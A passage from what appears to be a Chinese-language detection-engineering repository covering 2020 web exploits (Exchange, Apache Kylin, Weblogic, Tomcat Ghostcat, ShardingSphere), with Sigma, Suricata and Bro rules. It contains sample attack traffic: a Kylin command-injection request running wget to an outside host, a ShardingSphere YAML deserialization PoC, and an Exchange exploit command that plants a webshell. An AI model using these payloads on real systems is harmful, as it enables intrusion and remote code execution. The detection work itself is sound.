%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4LJ%2F5i3bVSrOTrkun3pNej4tluDK0%3D&CorrelationID=<empty>;&cafeReqId=e0874638-b142-4c77-84c1-c0434137e691; 443 limou 10.0.254.139 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:73.0)+Gecko/20100101+Firefox/73.0 - 500 0 0 1502\n```\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: CVE-2020-0688 Exchange Exploitation via Web Log\nid: fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5\nstatus: experimental\ndescription: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688\nreferences:\n    - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/\nauthor: Florian Roth\ndate: 2020/02/29\nlogsource:\n    category: webserver\ndetection:\n    selection1:\n        cs-method: 'GET'\n        c-uri|contains:\n            - '/ecp/'\n            - '/owa/'\n    selection2:\n        c-uri|contains: '__VIEWSTATE='\n    condition: selection1 and selection2\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\ntags:\n    - attack.initial_access\n    - attack.t1190\nlevel: critical\n```\n```\nyml\ntitle: CVE-2020-0688 Exploitation via Eventlog\nid: d6266bf5-935e-4661-b477-78772735a7cb\nstatus: experimental\ndescription: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688\nreferences:\n    - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/\nauthor: Florian Roth\ndate: 2020/02/29\ntags:\n    - attack.initial_access\n    - attack.t1190\nlogsource:\n    product: windows\n    service: application\ndetection:\n    selection1:\n        EventID: 4\n        Source: MSExchange Control Panel\n        Level: Error\n    selection2:\n        - '*&__VIEWSTATE=*'\n    condition: selection1 and selection2\nfalsepositives:\n    - Unknown\nlevel: high\n```\n```\nyml\ntitle: CVE-2020-0688 Exploitation IIS Eventlog\nid: d6266bf5-935e-4661-b477-78772735a7cb\nstatus: experimental\ndescription: Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688\nreferences:\n    - https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/\nauthor: Florian Roth\ndate: 2020/02/29\ntags:\n    - attack.initial_access\n    - attack.t1190\nlogsource:\n    product: windows\n    service: IIS\ndetection:\n    selection1:\n        cs-method: 'POST'\n        c-uri|contains: '/owa/auth.owa'\n    selection2:\n        cs-method: 'GET'\n        c-uri|contains: '__VIEWSTATEGENERATOR=* __VIEWSTATE='\n    timeframe: 3s #可根据实际情况调整\n    condition: selection1 and selection2\nfalsepositives:\n    - Unknown\nlevel: high\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nSIGMA rules\n<https://github.com/Neo23x0/sigma/pull/644/files>\n在MICROSOFT EXCHANGE SERVER上检测CVE-2020-0688远程执行代码漏洞\n<https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-13925-Apache Kylin远程操作系统命令注入漏洞.md",
    "content": "# T1190-CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nApache Kylin最早由eBay于2013创建并且开源，2015年成为Apache基金会的顶级项目。他是目前大数据领域应用非常广泛的开源分布式的分析型数据仓库，能够提供提供Hadoop/Spark之上的SQL查询接口及多维分析（OLAP）能力。近年来，大数据行业方兴未艾，Apache Kylin被国内外的很多大型互联网企业广泛应用，被业界称为大数据分析界的“神兽”。\nKylin 系统提供了一个前后端分离的 WEB UI，用户可以在上面管理项目、创建模型、分析数据等。系统提供了一组系统诊断接口，用于在发生故障时获取项目、任务、操作系统的诊断信息，方便调试。\n漏洞在于其中两个接口没有对输入参数做安全检查，并且在后续使用过程中拼接到了一个字符串中作为系统命令执行。黑客可以通过构造恶意参数值调用该接口，实现远程执行任意系统命令，获得运行 Apache Kylin 系统的操作系统账号权限。\n调用这个两个漏洞接口，需要有账号能够登陆 WEB 系统，但因为该 WEB 系统在安装完成后或部署 docker 容器后会有一个默认管理员账号 admin，并且会设置固定的默认密码 “KYLIN”，如果管理员没有特意修改，则黑客可以直接登陆并利用漏洞。也可能被通过其他方式得到账号或Session的黑客或内鬼利用获得更高权限。\n## 检测日志\nHTTP\n## 测试复现\n参考文章:<https://www.freesion.com/article/96341401547/>\n## 测试留痕\n```\nyml\nGET /kylin/api/diag/project/%7c%7cwget%20qsm6epow3y6ajjhj4vi4mmkc339txi.burpcollaborator.net%7c%7c/download HTTP/1.1\nHost: 10.16.45.164:7070\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: http://172.16.107.19:7070/kylin/admin\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nCookie: project=%22learn_kylin%22; JSESSIONID=9AC41F447D7504D31753F5D099A4157D; a=1; PHPSESSID=lodt0vr5t8b8rknhihm5ih04s0; zbx_sessionid=f959c1b9463c060987da90c5f916633f; tab=0\nConnection: close\n```\n## 检测规则/思路\n### Suricata规则\n```\ns\nalert http any any -> any any (msg:\"CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞\";flow:established,to_server;content:\"GET\";http_method;content:\"/kylin/api/diag/project\";pcre:\"/download/\";http_uri;reference:url,www.suphp.cn/anquanke/67/210867.html;classtype:web-application-attck;sid:3002021;rev:1;)\n```\n### 建议\n流量+安全设备比较容易检测到此攻击行为。\n流量研判，请结合状态码及返回内容进行研判。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nApache Kylin 远程命令执行漏洞（CVE-2020-13925）\n<http://www.suphp.cn/anquanke/67/210867.html>\nCVE-2020-13925漏洞复现\n<https://www.cnblogs.com/mY-bL0g/p/13895639.html>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞.md",
    "content": "# T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nWeblogic是Oracle公司推出的J2EE应用服务器，CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。\n### 0x1 影响版本\nOracle:Weblogic : 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0\n### 0x2 漏洞详情\n可参考：\n<https://www.cnblogs.com/2rsh0u/p/13911794.html> # Weblogic未授权远程命令执行漏洞（CVE-2020-14882&CVE-2020-14883）复现\n<https://www.cnblogs.com/potatsoSec/p/13895120.html> # CVE-2020-14882 weblogic 未授权命令执行复现\n## 检测日志\nHTTP.log\n## 测试复现\n可参考漏洞详情部分\n## 检测规则/思路\n### sigma规则\n```\nyml\ntitle: Oracle WebLogic Exploit CVE-2020-14882\nstatus: 测试状态\ndescription: 检测WebLogic服务器上的攻击企图\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882\n    - https://www.cnblogs.com/2rsh0u/p/13911794.html\n    - https://www.cnblogs.com/potatsoSec/p/13895120.html\nlogsource:\n    category: webserver\ndetection:\n    selection:\n        c-uri|contains:\n            - '/console/images/%252E%252E%252Fconsole.portal'\n            - '/console/css/%2e'\n    condition: selection\nfields:\n    - c-ip\n    - c-dns\nfalsepositives:\n    - Unknown\nlevel: high\ntags:\n    - attack.t1190\n    - attack.initial_access\n    - cve.2020-14882\n```\n### 建议\n建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nWeblogic未授权远程命令执行漏洞（CVE-2020-14882&CVE-2020-14883）复现\n<https://www.cnblogs.com/2rsh0u/p/13911794.html>\nCVE-2020-14882 weblogic 未授权命令执行复现\n<https://www.cnblogs.com/potatsoSec/p/13895120.html>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-16875-Exchange漏洞利用监测.md",
    "content": "# T1190-CVE-2020-16875-Exchange漏洞利用监测\n## 来自ATTCK描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## CVE-2020-16875\n由于对cmdlet参数的验证不正确，Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。\n**利用条件：利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。** 因此在环境部署完成后需要新建一个用户“dahe”，同时也要为其开启DLP权限。\n```\nbash\nNew-RoleGroup -Name \"dlp users\" -Roles \"Data Loss Prevention\" -Members \"dahe\"\nGet-RoleGroup \"dlp users\" | Format-List\n```\n针对此漏洞的攻击将依次执行以下步骤：\n- 在给定帐户下进行身份验证。\n- 通过访问DLP策略管理功能获取参数。\n- 添加新的恶意DLP策略，其中包含从PowerShell运行的可执行命令。\n## 监测方法\n使用IIS日志监测创建新DLP策略：\n```\nyml\ntitle: Creating a new DLP policy using IIS log monitoring\ndescription: windows server 2016\nauthor: DHZN\nlogsource:\n​    product: windows\n​    service: IIS\ndetection:\n​    selection:\n​        http_method: POST\n        http_code: 200\n        url_path|contain: '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'\n​    condition: selection\nlevel: medium\n```\n想要利用该漏洞，必须创建一个新的策略，这个行为也会被记录在MSExchange管理日志中。在该事件的参数中包含恶意载荷：TemplateData。\n使用Powershell日志/MSExchange管理日志监测创建新DLP策略：\n```\nyml\ntitle: Creating a new DLP policy using powrshell log or MSExchange Management Log monitoring\ndescription: windows server 2016\nauthor: DHZN\nlogsource:\n​    product: windows\n​    service: powershellaudit、MSExchange Management\ndetection:\n​    selection:\n​        EventID:\n              - 800\n              - 1\n              - 4014\n        Message|contains|all:\n              - 'New-DlpPolicy'\n              - '-TemplateData'\n- ----------------\n​    condition: selection\nlevel: medium\n```\n使用Windows安全日志监测是否成功利用了CVE-2020-16875\n```\nyml\ntitle: Monitoring CVE-2020-16875 utilization behavior using Windows security logs\ndescription: windows server 2016\nauthor: DHZN\nlogsource:\n​    product: windows\n​    service: Security\ndetection:\n​    selection:\n​        EventID: 4688\n        proc_parent_file_path|endswith: 'w3wp.exe'\n        proc_file_path|contains|endswitch:\n         - 'cmd.exe'\n         - 'powershell.exe'\n​    condition: selection\nlevel: high\n```\n在上述监测规则中，也可以调整子进程名称，对攻击者常见的进程名称进行监测，如whoami.exe等。\n## 参考链接\n[Exchange漏洞分析系列 CVE-2020-16875](https://www.anquanke.com/post/id/219091)\n[CVE-2020-16875漏洞分析与复现](https://lhl7.github.io/2022/03/26/CVE-2020-16875%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/)\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-17144-Exchange漏洞利用检测.md",
    "content": "# T1190-CVE-2020-17144漏洞利用检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## CVE-2020-17144\n漏洞是由程序未正确校验cmdlet参数引起。经过身份验证的攻击者利用该漏洞可实现远程代码执行。\n该漏洞和 CVE-2020-0688 类似，也需要登录后才能利用，不过在利用时无需明文密码，只要具备 NTHash 即可。除了常规邮件服务与 OWA外，EWS接口也提供了利用所需的方法。漏洞的功能点本身还具备持久化功能。\n### 影响版本\nMicrosoft Exchange Server 2010 Service Pack 3 Update Rollup 31\n### EXP用法\n条件: Exchange2010; 普通用户\n默认用法(写webshell): CVE-2020-17144-EXP.exe mail.example.com user pass\n执行命令 & 端口复用: 修改ExploitClass.cs\n## 测试案例\n借用其他测试案例：\n```\nYML\nC:\\Users\\k8gege>CVE-2020-17144.exe 192.168.1.89 administrator K8gege520\nBinaryFormatter\n[+] Target: https://192.168.1.89/ews/Exchange.asmx\n[+] User: administrator K8gege520\n[+] Shell in https://192.168.1.89/autodiscover/Services.aspx, Wait for few minutes\n```\n## 检测日志\nIIS日志、Windows安全日志 4776凭据验证\n## 测试复现\n## 测试留痕\n```\nlog\n2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 0\n2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 156\n2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 8\n2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 15\n2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 - 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 401 0 0 0\n2023-11-22 08:25:14 10.211.55.72 POST /ews/Exchange.asmx - 443 AAA\\user 10.211.55.68 ExchangeServicesClient/2.2.1.0 - 200 0 0 14\n```\n## 检测规则/思路\n通过上述日志可以看到访问了\"/ews/Exchange.asmx\"，但这并不能作为一个有效的监测特征，实际分析过程中需要结合上下文行为进行分析。结合网络上公开的EXP来看，攻击路径相对固定。但跳出利用POC中非默认路径。\n```\nyml\ntitle: Analyzing Exchange Vulnerability Explosions Using IIS Log Monitoring for CVE-2020-17144\ndescription: windows server 2012\nauthor: DHZN\nlogsource:\n    product: windows\n    service: IIS\ndetection:\n    selection:\n        http_method: POST\n        url_path|contain: '/ews/Exchange.asmx'\n    condition: selection\nlevel: low\n```\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\n〖EXP〗CVE-2020-17144 Exchange漏洞利用\n<https://k8gege.org/p/CVE-2020-17144.html>\nPOC1\n<https://github.com/zcgonvh/CVE-2020-17144/tree/master>\nPOC2\n<https://github.com/Airboi/CVE-2020-17144-EXP>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-1938-Apache Tomcat文件包含漏洞利用检测.md",
    "content": "# T1190-CVE-2020-1938漏洞利用检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## CVE-2020-1938漏洞\n2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布新版本完成漏洞修复。\n## 测试案例\n具体复测可以参考\n- Apache Tomcat文件包含漏洞 (CVE-2020-1938) 分析：<https://www.secrss.com/articles/17267>\n## 检测日志\nHTTP流量\n## 测试复现\n可参考上述测试案例\n## 测试留痕\nHTTP流量检测规则基于payload关键词进行检测\n## 检测规则/思路\n### Suricata检测规则\n```\nyml\n# CNVD-2020-10487 CVE-2020-1938\nalert tcp any any -> any 8009 (msg:\"CNVD-2020-10487 Ghostcat\"; content:\"javax|2e|servlet|2e|include|2e|request_uri\"; content:\"javax|2e|servlet|2e|include|2e|path_info\"; content:\"javax|2e|servlet|2e|include|2e|servlet_path\"; reference:url,www.anquanke.com/post/id/199351; classtype:tomcat; sid:202002211; rev:1;)\n```\n### Bro检测规则\n```\nyml\nmodule EXPLOIT;\nevent tcp_packet(c: connection, is_orig: bool, flags: string, seq: count, ack: count, len: count, payload: string)\n{\n    if ( (c$id$resp_p == 8009/tcp) && /javax\\.servlet\\.include\\.request_uri/ in payload && /javax\\.servlet\\.include\\.path_info/ in payload && /javax\\.servlet\\.include\\.servlet_path/ in payload)\n    {\n        local rec: EXPLOIT::Info = [$ts=c$start_time,\n                                    $src_ip=c$id$orig_h,\n                                    $src_port=c$id$orig_p,\n                                    $dst_ip=c$id$resp_h,\n                                    $dst_port=c$id$resp_p,\n                                    $vul_payload=payload,\n                                    $vul_describe=\"CVE-2020-1938 Ghostcat\",\n                                    $vul_refer=\"https://www.anquanke.com/post/id/199351\",\n                                    $vul_level=\"high\"];\n        Log::write(EXPLOIT::LOG, rec);\n    }\n```\n检测规则转载自：**<https://github.com/DaemonShao/CVE-2020-1938>**\n### 建议\n暂无\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2020-1938检测规则\n<https://github.com/DaemonShao/CVE-2020-1938>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞.md",
    "content": "# T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\nApache ShardingSphere是京东开源的分布式数据库中间件项目，于2018年11月进入Apache基金会孵化器，可提供数据分片（分库分表）、分布式事务、数据库治理三大功能。。\n3月10日，Apache ShardingSphere官方库发布了新版本4.0.1，修复了远程代码执行漏洞（CVE-2020-1947）。攻击者在登录管理后台的前提下，通过提交恶意YAML代码，可实现远程代码执行。请相关用户尽快升级至最新版本，修复此漏洞。\n影响范围：Apache ShardingSphere < 4.0.1\n## 检测日志\nHTTP\n## 测试复现\n登录后台后，发送如下poc\n```\nyml\nPOST /api/schema HTTP/1.1\nHost: localhost:8089\nAccept: application/json, text/plain, */*\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nAccess-Token: 替换为自己的Poc\nContent-Length: 579\n{\"name\":\"CVE-2020-1947\",\"ruleConfiguration\":\"  encryptors:\\n    encryptor_aes:\\n      type: aes\\n      props:\\n        aes.key.value: 123456abc\\n    encryptor_md5:\\n      type: md5\\n  tables:\\n    t_encrypt:\\n      columns:\\n        user_id:\\n          plainColumn: user_plain\\n          cipherColumn: user_cipher\\n          encryptor: encryptor_aes\\n        order_id:\\n          cipherColumn: order_cipher\\n          encryptor: encryptor_md5\",\"dataSourceConfiguration\":\"!!com.sun.rowset.JdbcRowSetImpl\\n  dataSourceName: ldap://127.0.0.1:1389/CommandObject\\n  autoCommit: true\"}\n```\n## 测试留痕\n```\nyml\nPOST /api/schema HTTP/1.1\nHost: 10.16.45.164:8080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0\nContent-Length: 577\nAccept: application/json, text/plain, */*\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccess-Token: eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImJhc2U2NCI6eyJlbmNvZGVUYWJsZSI6WzY1LDY2LDY3LDY4LDY5LDcwLDcxLDcyLDczLDc0LDc1LDc2LDc3LDc4LDc5LDgwLDgxLDgyLDgzLDg0LDg1LDg2LDg3LDg4LDg5LDkwLDk3LDk4LDk5LDEwMCwxMDEsMTAyLDEwMywxMDQsMTA1LDEwNiwxMDcsMTA4LDEwOSwxMTAsMTExLDExMiwxMTMsMTE0LDExNSwxMTYsMTE3LDExOCwxMTksMTIwLDEyMSwxMjIsNDgsNDksNTAsNTEsNTIsNTMsNTQsNTUsNTYsNTcsNDMsNDddLCJkZWNvZGVUYWJsZSI6Wy0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDYyLC0xLDYyLC0xLDYzLDUyLDUzLDU0LDU1LDU2LDU3LDU4LDU5LDYwLDYxLC0xLC0xLC0xLC0xLC0xLC0xLC0xLDAsMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUsMTYsMTcsMTgsMTksMjAsMjEsMjIsMjMsMjQsMjUsLTEsLTEsLTEsLTEsNjMsLTEsMjYsMjcsMjgsMjksMzAsMzEsMzIsMzMsMzQsMzUsMzYsMzcsMzgsMzksNDAsNDEsNDIsNDMsNDQsNDUsNDYsNDcsNDgsNDksNTAsNTFdLCJkZWNvZGVTaXplIjozLCJlbmNvZGVTaXplIjo0LCJQQUQiOjYxLCJwYWQiOjYxLCJ1bmVuY29kZWRCbG9ja1NpemUiOjMsImVuY29kZWRCbG9ja1NpemUiOjQsImxpbmVMZW5ndGgiOjAsImNodW5rU2VwYXJhdG9yTGVuZ3RoIjoyfSwiZ3NvbiI6eyJjYWxscyI6eyJ0aHJlYWRMb2NhbEhhc2hDb2RlIjoxMzk4MDMyNzAxfSwidHlwZVRva2VuQ2FjaGUiOnsiamF2YS5sYW5nLkRvdWJsZSI6e30sImphdmEudXRpbC5NYXBcdTAwM2Njb20uZ29vZ2xlLmdzb24ucmVmbGVjdC5UeXBlVG9rZW5cdTAwM2M/XHUwMDNlLCBjb20uZ29vZ2xlLmdzb24uVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuUmVmbGVjdGlvbkFjY2Vzc29yIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuT2JqZWN0VHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5UeXBlQWRhcHRlclx1MDAzYz9cdTAwM2UiOnt9LCJqYXZhLmxhbmcuQ2xhc3NcdTAwM2M/XHUwMDNlIjp7fSwiamF2YS5sYW5nLlN0cmluZyI6e30sImphdmEubGFuZy5Cb29sZWFuIjp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZUFkYXB0ZXJzJDMwIjp7fSwiY29tLmdvb2dsZS5nc29uLkZpZWxkTmFtaW5nUG9saWN5JDEiOnt9LCJvcmcuYXBhY2hlLmNvbW1vbnMuY29kZWMuYmluYXJ5LkJhc2U2NCI6e30sImNvbS5nb29nbGUuZ3Nvbi5Mb25nU2VyaWFsaXphdGlvblBvbGljeSQxIjp7fSwiY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlRpbWVUeXBlQWRhcHRlciQxIjp7fSwiamF2YS5sYW5nLnJlZmxlY3QuVHlwZSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeVx1MDAzZSI6e30sImphdmEubGFuZy5CeXRlIjp7fSwiamF2YS5sYW5nLkludGVnZXIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5TcWxEYXRlVHlwZUFkYXB0ZXIkMSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLkpzb25BZGFwdGVyQW5ub3RhdGlvblR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLk1hcFR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImJ5dGUiOnt9LCJieXRlW10iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzQiOnt9LCJjb20uZ29vZ2xlLmdzb24uSW5zdGFuY2VDcmVhdG9yXHUwMDNjP1x1MDAzZSI6e30sIm9yZy5hcGFjaGUuc2hhcmRpbmdzcGhlcmUudWkuc2VjdXJpdHkuVXNlckF1dGhlbnRpY2F0aW9uU2VydmljZSI6e30sImNvbS5nb29nbGUuZ3Nvbi5pbnRlcm5hbC5iaW5kLlJlZmxlY3RpdmVUeXBlQWRhcHRlckZhY3RvcnkiOnt9LCJqYXZhLnV0aWwuTWFwXHUwMDNjamF2YS5sYW5nLnJlZmxlY3QuVHlwZSwgY29tLmdvb2dsZS5nc29uLkluc3RhbmNlQ3JlYXRvclx1MDAzYz9cdTAwM2VcdTAwM2UiOnt9LCJqYXZhLmxhbmcuVGhyZWFkTG9jYWxcdTAwM2NqYXZhLnV0aWwuTWFwXHUwMDNjY29tLmdvb2dsZS5nc29uLnJlZmxlY3QuVHlwZVRva2VuXHUwMDNjP1x1MDAzZSwgY29tLmdvb2dsZS5nc29uLkdzb24kRnV0dXJlVHlwZUFkYXB0ZXJcdTAwM2M/XHUwMDNlXHUwMDNlXHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLkdzb24iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzIiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5UeXBlQWRhcHRlcnMkMzUiOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuQ29uc3RydWN0b3JDb25zdHJ1Y3RvciI6e30sImJvb2xlYW4iOnt9LCJjb20uZ29vZ2xlLmdzb24uaW50ZXJuYWwuYmluZC5EYXRlVHlwZUFkYXB0ZXIkMSI6e30sImphdmEudXRpbC5MaXN0XHUwMDNjY29tLmdvb2dsZS5nc29uLkV4Y2x1c2lvblN0cmF0ZWd5XHUwMDNlIjp7fSwiY29tLmdvb2dsZS5nc29uLlR5cGVBZGFwdGVyRmFjdG9yeSI6e30sImludCI6e30sImNvbS5nb29nbGUuZ3Nvbi5GaWVsZE5hbWluZ1N0cmF0ZWd5Ijp7fSwiY29tLmdvb2dsZS5nc29uLmludGVybmFsLmJpbmQuVHlwZ